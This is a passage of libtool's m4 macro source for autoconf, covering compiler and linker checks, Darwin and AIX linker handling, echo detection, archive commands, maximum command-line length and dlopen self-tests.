_LT_TAGDECL([CC], [compiler], [1], [A language specific compiler])dnl _LT_TAGDECL([with_gcc], [GCC], [0], [Is the compiler the GNU compiler?])dnl # If no C compiler was specified, use CC. LTCC=${LTCC-"$CC"} # If no C compiler flags were specified, use CFLAGS. LTCFLAGS=${LTCFLAGS-"$CFLAGS"} # Allow CC to be a program name with arguments. compiler=$CC ])# _LT_TAG_COMPILER # _LT_COMPILER_BOILERPLATE # ------------------------ # Check for compiler boilerplate output or warnings with # the simple compiler test code. m4_defun([_LT_COMPILER_BOILERPLATE], [m4_require([_LT_DECL_SED])dnl ac_outfile=conftest.$ac_objext echo "$lt_simple_compile_test_code" >conftest.$ac_ext eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err _lt_compiler_boilerplate=`cat conftest.err` $RM conftest* ])# _LT_COMPILER_BOILERPLATE # _LT_LINKER_BOILERPLATE # ---------------------- # Check for linker boilerplate output or warnings with # the simple link test code. m4_defun([_LT_LINKER_BOILERPLATE], [m4_require([_LT_DECL_SED])dnl ac_outfile=conftest.$ac_objext echo "$lt_simple_link_test_code" >conftest.$ac_ext eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err _lt_linker_boilerplate=`cat conftest.err` $RM -r conftest* ])# _LT_LINKER_BOILERPLATE # _LT_REQUIRED_DARWIN_CHECKS # ------------------------- m4_defun_once([_LT_REQUIRED_DARWIN_CHECKS],[ case $host_os in rhapsody* | darwin*) AC_CHECK_TOOL([DSYMUTIL], [dsymutil], [:]) AC_CHECK_TOOL([NMEDIT], [nmedit], [:]) AC_CHECK_TOOL([LIPO], [lipo], [:]) AC_CHECK_TOOL([OTOOL], [otool], [:]) AC_CHECK_TOOL([OTOOL64], [otool64], [:]) _LT_DECL([], [DSYMUTIL], [1], [Tool to manipulate archived DWARF debug symbol files on Mac OS X]) _LT_DECL([], [NMEDIT], [1], [Tool to change global to local symbols on Mac OS X]) _LT_DECL([], [LIPO], [1], [Tool to manipulate fat objects and archives on Mac OS X]) _LT_DECL([], [OTOOL], [1], [ldd/readelf like tool for Mach-O binaries on Mac OS X]) _LT_DECL([], [OTOOL64], [1], [ldd/readelf like tool for 64 bit Mach-O binaries on Mac OS X 10.4]) AC_CACHE_CHECK([for -single_module linker flag],[lt_cv_apple_cc_single_mod], [lt_cv_apple_cc_single_mod=no if test -z "${LT_MULTI_MODULE}"; then # By default we will add the -single_module flag. You can override # by either setting the environment variable LT_MULTI_MODULE # non-empty at configure time, or by adding -multi_module to the # link flags. rm -rf libconftest.dylib* echo "int foo(void){return 1;}" > conftest.c echo "$LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ -dynamiclib -Wl,-single_module conftest.c" >&AS_MESSAGE_LOG_FD $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ -dynamiclib -Wl,-single_module conftest.c 2>conftest.err _lt_result=$? if test -f libconftest.dylib && test ! -s conftest.err && test $_lt_result = 0; then lt_cv_apple_cc_single_mod=yes else cat conftest.err >&AS_MESSAGE_LOG_FD fi rm -rf libconftest.dylib* rm -f conftest.* fi]) AC_CACHE_CHECK([for -exported_symbols_list linker flag], [lt_cv_ld_exported_symbols_list], [lt_cv_ld_exported_symbols_list=no save_LDFLAGS=$LDFLAGS echo "_main" > conftest.sym LDFLAGS="$LDFLAGS -Wl,-exported_symbols_list,conftest.sym" AC_LINK_IFELSE([AC_LANG_PROGRAM([],[])], [lt_cv_ld_exported_symbols_list=yes], [lt_cv_ld_exported_symbols_list=no]) LDFLAGS="$save_LDFLAGS" ]) case $host_os in rhapsody* | darwin1.[[012]]) _lt_dar_allow_undefined='${wl}-undefined ${wl}suppress' ;; darwin1.*) _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; darwin*) # darwin 5.x on # if running on 10.5 or later, the deployment target defaults # to the OS version, if on x86, and 10.4, the deployment # target defaults to 10.4. Don't you love it? case ${MACOSX_DEPLOYMENT_TARGET-10.0},$host in 10.0,*86*-darwin8*|10.0,*-darwin[[91]]*) _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; 10.[[012]]*) _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; 10.*) _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; esac ;; esac if test "$lt_cv_apple_cc_single_mod" = "yes"; then _lt_dar_single_mod='$single_module' fi if test "$lt_cv_ld_exported_symbols_list" = "yes"; then _lt_dar_export_syms=' ${wl}-exported_symbols_list,$output_objdir/${libname}-symbols.expsym' else _lt_dar_export_syms='~$NMEDIT -s $output_objdir/${libname}-symbols.expsym ${lib}' fi if test "$DSYMUTIL" != ":"; then _lt_dsymutil='~$DSYMUTIL $lib || :' else _lt_dsymutil= fi ;; esac ]) # _LT_DARWIN_LINKER_FEATURES # -------------------------- # Checks for linker and compiler features on darwin m4_defun([_LT_DARWIN_LINKER_FEATURES], [ m4_require([_LT_REQUIRED_DARWIN_CHECKS]) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_automatic, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported _LT_TAGVAR(whole_archive_flag_spec, $1)='' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(allow_undefined_flag, $1)="$_lt_dar_allow_undefined" case $cc_basename in ifort*) _lt_dar_can_shared=yes ;; *) _lt_dar_can_shared=$GCC ;; esac if test "$_lt_dar_can_shared" = "yes"; then output_verbose_link_cmd=echo _LT_TAGVAR(archive_cmds, $1)="\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod${_lt_dsymutil}" _LT_TAGVAR(module_cmds, $1)="\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dsymutil}" _LT_TAGVAR(archive_expsym_cmds, $1)="sed 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring ${_lt_dar_single_mod}${_lt_dar_export_syms}${_lt_dsymutil}" _LT_TAGVAR(module_expsym_cmds, $1)="sed -e 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dar_export_syms}${_lt_dsymutil}" m4_if([$1], [CXX], [ if test "$lt_cv_apple_cc_single_mod" != "yes"; then _LT_TAGVAR(archive_cmds, $1)="\$CC -r -keep_private_externs -nostdlib -o \${lib}-master.o \$libobjs~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \${lib}-master.o \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring${_lt_dsymutil}" _LT_TAGVAR(archive_expsym_cmds, $1)="sed 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC -r -keep_private_externs -nostdlib -o \${lib}-master.o \$libobjs~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \${lib}-master.o \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring${_lt_dar_export_syms}${_lt_dsymutil}" fi ],[]) else _LT_TAGVAR(ld_shlibs, $1)=no fi ]) # _LT_SYS_MODULE_PATH_AIX # ----------------------- # Links a minimal program and checks the executable # for the system default hardcoded library path. In most cases, # this is /usr/lib:/lib, but when the MPI compilers are used # the location of the communication and MPI libs are included too. # If we don't find anything, use the default library path according # to the aix ld manual. m4_defun([_LT_SYS_MODULE_PATH_AIX], [m4_require([_LT_DECL_SED])dnl AC_LINK_IFELSE(AC_LANG_PROGRAM,[ lt_aix_libpath_sed=' /Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/ p } }' aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` # Check for a 64-bit object if we didn't find anything. if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` fi],[]) if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi ])# _LT_SYS_MODULE_PATH_AIX # _LT_SHELL_INIT(ARG) # ------------------- m4_define([_LT_SHELL_INIT], [ifdef([AC_DIVERSION_NOTICE], [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)], [AC_DIVERT_PUSH(NOTICE)]) $1 AC_DIVERT_POP ])# _LT_SHELL_INIT # _LT_PROG_ECHO_BACKSLASH # ----------------------- # Add some code to the start of the generated configure script which # will find an echo command which doesn't interpret backslashes. m4_defun([_LT_PROG_ECHO_BACKSLASH], [_LT_SHELL_INIT([ # Check that we are running under the correct shell. SHELL=${CONFIG_SHELL-/bin/sh} case X$lt_ECHO in X*--fallback-echo) # Remove one level of quotation (which was required for Make). ECHO=`echo "$lt_ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','` ;; esac ECHO=${lt_ECHO-echo} if test "X[$]1" = X--no-reexec; then # Discard the --no-reexec flag, and continue. shift elif test "X[$]1" = X--fallback-echo; then # Avoid inline document here, it may be left over : elif test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' ; then # Yippee, $ECHO works! : else # Restart under the correct shell. exec $SHELL "[$]0" --no-reexec ${1+"[$]@"} fi if test "X[$]1" = X--fallback-echo; then # used as fallback echo shift cat <<_LT_EOF [$]* _LT_EOF exit 0 fi # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH if test -z "$lt_ECHO"; then if test "X${echo_test_string+set}" != Xset; then # find a string as large as possible, as long as the shell can cope with it for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... if { echo_test_string=`eval $cmd`; } 2>/dev/null && { test "X$echo_test_string" = "X$echo_test_string"; } 2>/dev/null then break fi done fi if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then : else # The Solaris, AIX, and Digital Unix default echo programs unquote # backslashes. This makes it impossible to quote backslashes using # echo "$something" | sed 's/\\/\\\\/g' # # So, first we look for a working echo in the user's PATH. lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for dir in $PATH /usr/ucb; do IFS="$lt_save_ifs" if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then ECHO="$dir/echo" break fi done IFS="$lt_save_ifs" if test "X$ECHO" = Xecho; then # We didn't find a better echo, so look for alternatives. if test "X`{ print -r '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ print -r "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then # This shell has a builtin print -r that does the trick. ECHO='print -r' elif { test -f /bin/ksh || test -f /bin/ksh$ac_exeext; } && test "X$CONFIG_SHELL" != X/bin/ksh; then # If we have ksh, try running configure again with it. ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} export ORIGINAL_CONFIG_SHELL CONFIG_SHELL=/bin/ksh export CONFIG_SHELL exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"} else # Try using printf. ECHO='printf %s\n' if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then # Cool, printf works : elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && test "X$echo_testing_string" = 'X\t' && echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL export CONFIG_SHELL SHELL="$CONFIG_SHELL" export SHELL ECHO="$CONFIG_SHELL [$]0 --fallback-echo" elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && test "X$echo_testing_string" = 'X\t' && echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then ECHO="$CONFIG_SHELL [$]0 --fallback-echo" else # maybe with a smaller string... prev=: for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do if { test "X$echo_test_string" = "X`eval $cmd`"; } 2>/dev/null then break fi prev="$cmd" done if test "$prev" != 'sed 50q "[$]0"'; then echo_test_string=`eval $prev` export echo_test_string exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"} else # Oops. We lost completely, so just stick with echo. ECHO=echo fi fi fi fi fi fi # Copy echo and quote the copy suitably for passing to libtool from # the Makefile, instead of quoting the original, which is used later. lt_ECHO=$ECHO if test "X$lt_ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then lt_ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo" fi AC_SUBST(lt_ECHO) ]) _LT_DECL([], [SHELL], [1], [Shell to use when invoking shell scripts]) _LT_DECL([], [ECHO], [1], [An echo program that does not interpret backslashes]) ])# _LT_PROG_ECHO_BACKSLASH # _LT_ENABLE_LOCK # --------------- m4_defun([_LT_ENABLE_LOCK], [AC_ARG_ENABLE([libtool-lock], [AS_HELP_STRING([--disable-libtool-lock], [avoid locking (might break parallel builds)])]) test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes # Some flags need to be propagated to the compiler or linker for good # libtool support. case $host in ia64-*-hpux*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then case `/usr/bin/file conftest.$ac_objext` in *ELF-32*) HPUX_IA64_MODE="32" ;; *ELF-64*) HPUX_IA64_MODE="64" ;; esac fi rm -rf conftest* ;; *-*-irix6*) # Find out which ABI we are using. echo '[#]line __oline__ "configure"' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then if test "$lt_cv_prog_gnu_ld" = yes; then case `/usr/bin/file conftest.$ac_objext` in *32-bit*) LD="${LD-ld} -melf32bsmip" ;; *N32*) LD="${LD-ld} -melf32bmipn32" ;; *64-bit*) LD="${LD-ld} -melf64bmip" ;; esac else case `/usr/bin/file conftest.$ac_objext` in *32-bit*) LD="${LD-ld} -32" ;; *N32*) LD="${LD-ld} -n32" ;; *64-bit*) LD="${LD-ld} -64" ;; esac fi fi rm -rf conftest* ;; x86_64-*kfreebsd*-gnu|x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*| \ s390*-*linux*|s390*-*tpf*|sparc*-*linux*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then case `/usr/bin/file conftest.o` in *32-bit*) case $host in x86_64-*kfreebsd*-gnu) LD="${LD-ld} -m elf_i386_fbsd" ;; x86_64-*linux*) LD="${LD-ld} -m elf_i386" ;; ppc64-*linux*|powerpc64-*linux*) LD="${LD-ld} -m elf32ppclinux" ;; s390x-*linux*) LD="${LD-ld} -m elf_s390" ;; sparc64-*linux*) LD="${LD-ld} -m elf32_sparc" ;; esac ;; *64-bit*) case $host in x86_64-*kfreebsd*-gnu) LD="${LD-ld} -m elf_x86_64_fbsd" ;; x86_64-*linux*) LD="${LD-ld} -m elf_x86_64" ;; ppc*-*linux*|powerpc*-*linux*) LD="${LD-ld} -m elf64ppc" ;; s390*-*linux*|s390*-*tpf*) LD="${LD-ld} -m elf64_s390" ;; sparc*-*linux*) LD="${LD-ld} -m elf64_sparc" ;; esac ;; esac fi rm -rf conftest* ;; *-*-sco3.2v5*) # On SCO OpenServer 5, we need -belf to get full-featured binaries. SAVE_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS -belf" AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf, [AC_LANG_PUSH(C) AC_LINK_IFELSE([AC_LANG_PROGRAM([[]],[[]])],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no]) AC_LANG_POP]) if test x"$lt_cv_cc_needs_belf" != x"yes"; then # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf CFLAGS="$SAVE_CFLAGS" fi ;; sparc*-*solaris*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if AC_TRY_EVAL(ac_compile); then case `/usr/bin/file conftest.o` in *64-bit*) case $lt_cv_prog_gnu_ld in yes*) LD="${LD-ld} -m elf64_sparc" ;; *) if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then LD="${LD-ld} -64" fi ;; esac ;; esac fi rm -rf conftest* ;; esac need_locks="$enable_libtool_lock" ])# _LT_ENABLE_LOCK # _LT_CMD_OLD_ARCHIVE # ------------------- m4_defun([_LT_CMD_OLD_ARCHIVE], [AC_CHECK_TOOL(AR, ar, false) test -z "$AR" && AR=ar test -z "$AR_FLAGS" && AR_FLAGS=cru _LT_DECL([], [AR], [1], [The archiver]) _LT_DECL([], [AR_FLAGS], [1]) AC_CHECK_TOOL(STRIP, strip, :) test -z "$STRIP" && STRIP=: _LT_DECL([], [STRIP], [1], [A symbol stripping program]) AC_CHECK_TOOL(RANLIB, ranlib, :) test -z "$RANLIB" && RANLIB=: _LT_DECL([], [RANLIB], [1], [Commands used to install an old-style archive]) # Determine commands to create old-style static archives. old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs' old_postinstall_cmds='chmod 644 $oldlib' old_postuninstall_cmds= if test -n "$RANLIB"; then case $host_os in openbsd*) old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib" ;; *) old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib" ;; esac old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" fi _LT_DECL([], [old_postinstall_cmds], [2]) _LT_DECL([], [old_postuninstall_cmds], [2]) _LT_TAGDECL([], [old_archive_cmds], [2], [Commands used to build an old-style archive]) ])# _LT_CMD_OLD_ARCHIVE # _LT_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, # [OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE]) # ---------------------------------------------------------------- # Check whether the given compiler option works AC_DEFUN([_LT_COMPILER_OPTION], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_SED])dnl AC_CACHE_CHECK([$1], [$2], [$2=no m4_if([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4]) echo "$lt_simple_compile_test_code" > conftest.$ac_ext lt_compiler_flag="$3" # Insert the option either (1) after the last *FLAGS variable, or # (2) before a word containing "conftest.", or (3) at the end. # Note that $ac_compile itself does not contain backslashes and begins # with a dollar sign (not a hyphen), so the echo should work correctly. # The option is referenced via a variable to avoid confusing sed. lt_compile=`echo "$ac_compile" | $SED \ -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) (eval "$lt_compile" 2>conftest.err) ac_status=$? cat conftest.err >&AS_MESSAGE_LOG_FD echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD if (exit $ac_status) && test -s "$ac_outfile"; then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings other than the usual output. $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then $2=yes fi fi $RM conftest* ]) if test x"[$]$2" = xyes; then m4_if([$5], , :, [$5]) else m4_if([$6], , :, [$6]) fi ])# _LT_COMPILER_OPTION # Old name: AU_ALIAS([AC_LIBTOOL_COMPILER_OPTION], [_LT_COMPILER_OPTION]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], []) # _LT_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, # [ACTION-SUCCESS], [ACTION-FAILURE]) # ---------------------------------------------------- # Check whether the given linker option works AC_DEFUN([_LT_LINKER_OPTION], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_SED])dnl AC_CACHE_CHECK([$1], [$2], [$2=no save_LDFLAGS="$LDFLAGS" LDFLAGS="$LDFLAGS $3" echo "$lt_simple_link_test_code" > conftest.$ac_ext if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then # The linker can only warn and ignore the option if not recognized # So say no if there are warnings if test -s conftest.err; then # Append any errors to the config.log. cat conftest.err 1>&AS_MESSAGE_LOG_FD $ECHO "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 if diff conftest.exp conftest.er2 >/dev/null; then $2=yes fi else $2=yes fi fi $RM -r conftest* LDFLAGS="$save_LDFLAGS" ]) if test x"[$]$2" = xyes; then m4_if([$4], , :, [$4]) else m4_if([$5], , :, [$5]) fi ])# _LT_LINKER_OPTION # Old name: AU_ALIAS([AC_LIBTOOL_LINKER_OPTION], [_LT_LINKER_OPTION]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], []) # LT_CMD_MAX_LEN #--------------- AC_DEFUN([LT_CMD_MAX_LEN], [AC_REQUIRE([AC_CANONICAL_HOST])dnl # find the maximum length of command line arguments AC_MSG_CHECKING([the maximum length of command line arguments]) AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl i=0 teststring="ABCD" case $build_os in msdosdjgpp*) # On DJGPP, this test can blow up pretty badly due to problems in libc # (any single argument exceeding 2000 bytes causes a buffer overrun # during glob expansion). Even if it were fixed, the result of this # check would be larger than it should be. lt_cv_sys_max_cmd_len=12288; # 12K is about right ;; gnu*) # Under GNU Hurd, this test is not required because there is # no limit to the length of command line arguments. # Libtool will interpret -1 as no limit whatsoever lt_cv_sys_max_cmd_len=-1; ;; cygwin* | mingw* | cegcc*) # On Win9x/ME, this test blows up -- it succeeds, but takes # about 5 minutes as the teststring grows exponentially. # Worse, since 9x/ME are not pre-emptively multitasking, # you end up with a "frozen" computer, even though with patience # the test eventually succeeds (with a max line length of 256k). # Instead, let's just punt: use the minimum linelength reported by # all of the supported platforms: 8192 (on NT/2K/XP). lt_cv_sys_max_cmd_len=8192; ;; amigaos*) # On AmigaOS with pdksh, this test takes hours, literally. # So we just punt and use a minimum line length of 8192. lt_cv_sys_max_cmd_len=8192; ;; netbsd* | freebsd* | openbsd* | darwin* | dragonfly*) # This has been around since 386BSD, at least. Likely further. if test -x /sbin/sysctl; then lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` elif test -x /usr/sbin/sysctl; then lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` else lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs fi # And add a safety zone lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` ;; interix*) # We know the value 262144 and hardcode it with a safety zone (like BSD) lt_cv_sys_max_cmd_len=196608 ;; osf*) # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not # nice to cause kernel panics so lets avoid the loop below. # First set a reasonable default. lt_cv_sys_max_cmd_len=16384 # if test -x /sbin/sysconfig; then case `/sbin/sysconfig -q proc exec_disable_arg_limit` in *1*) lt_cv_sys_max_cmd_len=-1 ;; esac fi ;; sco3.2v5*) lt_cv_sys_max_cmd_len=102400 ;; sysv5* | sco5v6* | sysv4.2uw2*) kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null` if test -n "$kargmax"; then lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[[ ]]//'` else lt_cv_sys_max_cmd_len=32768 fi ;; *) lt_cv_sys_max_cmd_len=`(getconf ARG_MAX) 2> /dev/null` if test -n "$lt_cv_sys_max_cmd_len"; then lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` else # Make teststring a little bigger before we do anything with it. # a 1K string should be a reasonable start. for i in 1 2 3 4 5 6 7 8 ; do teststring=$teststring$teststring done SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} # If test is not a shell built-in, we'll probably end up computing a # maximum length that is only half of the actual maximum length, but # we can't tell. while { test "X"`$SHELL [$]0 --fallback-echo "X$teststring$teststring" 2>/dev/null` \ = "XX$teststring$teststring"; } >/dev/null 2>&1 && test $i != 17 # 1/2 MB should be enough do i=`expr $i + 1` teststring=$teststring$teststring done # Only check the string length outside the loop. lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1` teststring= # Add a significant safety factor because C++ compilers can tack on # massive amounts of additional arguments before passing them to the # linker. It appears as though 1/2 is a usable value. lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` fi ;; esac ]) if test -n $lt_cv_sys_max_cmd_len ; then AC_MSG_RESULT($lt_cv_sys_max_cmd_len) else AC_MSG_RESULT(none) fi max_cmd_len=$lt_cv_sys_max_cmd_len _LT_DECL([], [max_cmd_len], [0], [What is the maximum length of a command?]) ])# LT_CMD_MAX_LEN # Old name: AU_ALIAS([AC_LIBTOOL_SYS_MAX_CMD_LEN], [LT_CMD_MAX_LEN]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], []) # _LT_HEADER_DLFCN # ---------------- m4_defun([_LT_HEADER_DLFCN], [AC_CHECK_HEADERS([dlfcn.h], [], [], [AC_INCLUDES_DEFAULT])dnl ])# _LT_HEADER_DLFCN # _LT_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE, # ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING) # ---------------------------------------------------------------- m4_defun([_LT_TRY_DLOPEN_SELF], [m4_require([_LT_HEADER_DLFCN])dnl if test "$cross_compiling" = yes; then : [$4] else lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 lt_status=$lt_dlunknown cat > conftest.$ac_ext <<_LT_EOF [#line __oline__ "configure" #include "confdefs.h" #if HAVE_DLFCN_H #include #endif #include #ifdef RTLD_GLOBAL # define LT_DLGLOBAL RTLD_GLOBAL #else # ifdef DL_GLOBAL # define LT_DLGLOBAL DL_GLOBAL # else # define LT_DLGLOBAL 0 # endif #endif /* We may have to define LT_DLLAZY_OR_NOW in the command line if we find out it does not work in some platform. */ #ifndef LT_DLLAZY_OR_NOW # ifdef RTLD_LAZY # define LT_DLLAZY_OR_NOW RTLD_LAZY # else # ifdef DL_LAZY # define LT_DLLAZY_OR_NOW DL_LAZY # else # ifdef RTLD_NOW # define LT_DLLAZY_OR_NOW RTLD_NOW # else # ifdef DL_NOW # define LT_DLLAZY_OR_NOW DL_NOW # else # define LT_DLLAZY_OR_NOW 0 # endif # endif # endif # endif #endif void fnord() { int i=42;} int main () { void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); int status = $lt_dlunknown; if (self) { if (dlsym (self,"fnord")) status = $lt_dlno_uscore; else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; /* dlclose (self); */ } else puts (dlerror ()); return status; }] _LT_EOF if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null lt_status=$? case x$lt_status in x$lt_dlno_uscore) $1 ;; x$lt_dlneed_uscore) $2 ;; x$lt_dlunknown|x*) $3 ;; esac else : # compilation failed $3 fi fi rm -fr conftest* ])# _LT_TRY_DLOPEN_SELF # LT_SYS_DLOPEN_SELF # ------------------ AC_DEFUN([LT_SYS_DLOPEN_SELF], [m4_require([_LT_HEADER_DLFCN])dnl if test "x$enable_dlopen" != xyes; then enable_dlopen=unknown enable_dlopen_self=unknown enable_dlopen_self_static=unknown else lt_cv_dlopen=no lt_cv_dlopen_libs= case $host_os in beos*) lt_cv_dlopen="load_add_on" lt_cv_dlopen_libs= lt_cv_dlopen_self=yes ;; mingw* | pw32* | cegcc*) lt_cv_dlopen="LoadLibrary" lt_cv_dlopen_libs= ;; cygwin*) lt_cv_dlopen="dlopen" lt_cv_dlopen_libs= ;; darwin*) # if libdl is installed we need to link against it AC_CHECK_LIB([dl], [dlopen], [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[ lt_cv_dlopen="dyld" lt_cv_dlopen_libs= lt_cv_dlopen_self=yes ]) ;; *) AC_CHECK_FUNC([shl_load], [lt_cv_dlopen="shl_load"], [AC_CHECK_LIB([dld], [shl_load], [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-ldld"], 